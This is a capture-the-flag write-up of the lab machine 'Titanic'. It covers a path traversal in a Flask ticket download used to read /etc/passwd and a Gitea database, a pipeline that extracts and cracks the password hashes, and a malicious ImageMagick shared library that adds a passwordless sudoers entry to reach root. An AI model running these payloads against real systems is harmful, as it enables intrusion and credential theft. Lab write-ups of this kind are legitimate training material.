Enumeration
Nmap Scan
We began by performing a full TCP port scan with service and version detection against the target machine:
nmap -v -A -p- -oN nmap.txt 10.10.11.55The scan revealed two open ports:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73039c76eb04f1fec9e980449c7f1346 (ECDSA)
|_ 256 d5bd1d5e9a861ceb88634d5f884b7e04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)Key findings:
- Port 80: Apache HTTP Server 2.4.52, responds with a redirect to
http://titanic.htb/ - Port 22: OpenSSH 8.9p1 running on Ubuntu
Web Enumeration
Hostname Resolution
To resolve the redirect to titanic.htb, the hostname was added to /etc/hosts:
echo "10.10.11.55 titanic.htb" >> /etc/hostsWeb Application
Upon visiting the site, a basic web interface is presented:

Using Wappalyzer, we identified the backend technology as Flask, a Python web framework:

Clicking the Book now button reveals a booking form:

Submitting the form downloads a .json ticket file with the following structure:
{
"name": "John Doe",
"email": "john.doe@example.com",
"phone": "1234567890",
"date": "2021-01-01",
"cabin": "Standard"
}Ticket Parameter
Using Burp Suite to intercept the response, we observed the download URL:
/download?ticket=565f8e65-cf6d-49ff-9af1-35392f13d966.jsonThis suggests the ticket parameter accepts UUID-based filenames and may be vulnerable to path traversal or LFI.
Local File Inclusion (LFI)
To test for LFI, we attempted to access /etc/passwd:
/download?ticket=/etc/passwdThe request returned system file contents, confirming the LFI vulnerability:
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bashUsing this information, we accessed the user flag:
/download?ticket=/home/developer/user.txtSubdomain Enumeration
We used ffuf to enumerate subdomains:
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.titanic.htb" -u http://titanic.htb -fc 301
The scan identified a valid subdomain: dev.titanic.htb.
Enumerating the dev subdomain
After adding the subdomain to /etc/hosts:
echo "10.10.11.55 dev.titanic.htb" >> /etc/hostsWe discovered a Gitea instance hosting two repositories:
docker-configflask-app

Repository: docker-config
Inside the docker-config repository, we found a docker-compose.yml file:
services:
mysql:
image: mysql:8.0
container_name: mysql
ports:
- "127.0.0.1:3306:3306"
environment:
MYSQL_ROOT_PASSWORD: "MySQLP@$$w0rd!"
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
restart: alwaysThis reveals MySQL root credentials, though port 3306 is locally bound and not externally accessible:
PORT STATE SERVICE VERSION
3306/tcp closed mysqlIn the docker-compose.yml file of the gitea service, we can see the following:
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: alwaysIn your Docker Compose setup, the Gitea service mounts the host directory /home/developer/gitea/data to the container's /data directory. By default, Gitea stores its SQLite database file at /data/gitea/gitea.db inside the container. Given the volume mapping, this corresponds to the following path on the host system:
/home/developer/gitea/data/gitea/gitea.dbExtracting Credentials via LFI
Using the LFI vulnerability, we retrieved the gitea.db SQLite database file:

We then used sqlite3 to explore the contents:
sqlite3 gitea.db
sqlite> .tables
sqlite> SELECT * FROM user;We extracted the password hashes and salt values and converted them into a format suitable for hashcat:
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashesWe then cracked the hashes using hashcat:
hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --userResult: Password for developer user: 25[REDACTED]28
SSH Access
With valid credentials, we logged into the system via SSH:
ssh developer@titanic.htbPrivilege Escalation
Scheduled Script Discovery
We identified a script /opt/app/static/assets/images/identify_images.sh executed by root:
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.logThe script uses ImageMagick version 7.1.1-35, which is vulnerable to a known shared library hijacking issue (GHSA-8rxc-922v-phg8).
Exploitation
To escalate privileges, we crafted a malicious shared library (libxcb.so.1) to be loaded by magick:
gcc -shared -fPIC -o libxcb.so.1 -nostartfiles -x c - <<EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
EOFWe moved the library to the monitored directory:
mv libxcb.so.1 /opt/app/static/assets/images/Once the scheduled script executed, the developer user was granted passwordless sudo access. The root flag is located in the /root/root.txt file.

